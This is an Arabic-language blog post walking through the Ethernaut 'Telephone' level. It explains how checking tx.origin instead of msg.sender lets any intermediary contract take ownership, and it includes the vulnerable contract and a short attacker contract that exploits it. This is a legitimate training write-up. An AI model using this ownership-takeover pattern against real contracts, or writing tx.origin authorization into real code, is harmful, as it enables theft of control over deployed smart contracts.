Ethernaut in Arabic- Level 4 Telephone

Eman Herawy
2 min readJan 11, 2023

--

سلسلة تشرح حلول ايثرناوت

بسم الله الرحمن الرحيم ،

نبدا فى المستوى الرابع فى لعبة ايثرناوت

خلونا نبدا بالمطلوب

Claim ownership of the contract below to complete this level.

Things that might help

See the Help page above, section "Beyond the console"

عاوزك تستحوذ على ملكية العقد ، ولما نبص على الكود

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

هنلاقى ان فيه فنكشن ، اى حد معدى ف الشارع يقدر نادى عليها ويستحوذ على ملكية العقد ، بس بشرط صغير

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}

التحدى ده بسيط جدا ، وهدفه يعرفك على نقطه مهمه جدا ، مين اللى بيكلم الفنكشن دى ، او بعبارة اكثر مهنيه

function caller

خلينا نتفق انه نظريا وعمليا ، طالما سوليدتى بتدعم انك العقود تعمل تواصل مع عقود اخرى ، او ما يسمى بال
external calls

فانا اقدر ابعت لفنكشن فى عقد ، يكلم عقد تانى ، اللى بدورة يكلم عقد تالت ، وهكذا

فلو افترضنا انى عندى سلسلة من العقود، كل عقد فيه فنكشن بتنادى على فنكشن فى العقد اللى بعدها ، فانا هيكون عندى التالى فى سوليدتى

  // ده هيكون اخر مرسل 
msg.sender;
// انما ده هيكون اول مرسل
tx.origin;

طبعا لو انا معنديش غير

1 call
فده بيعنى ان


msg.sender=tx.origin;

وبناء على ما سبق، مهم جدا ننتبه لما نبرمج العقد انه مينفعش انى لما احب استوثق من المرسل لاى سبب زى نقل ملكية او غيرها انى استخدام

tx.origin

ﻻن سهل جدا التلاعب بيها

طب علشان نحل التحدى ده محتاجين ايه ؟

محتاجين نعمل عقد بسيط يكلم العقد ده

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
function changeOwner(address _owner) external;
}

contract TelephoneAttack {

function attack(address victim) public{
ITelephone(victim).changeOwner(msg.sender);
}
}

ونسلم النسخه

--

--

Eman Herawy

Blockchain developer | @KERNEL fellow | @Chainlink developer expert | Devcon V Scholar Alumni @Ethereum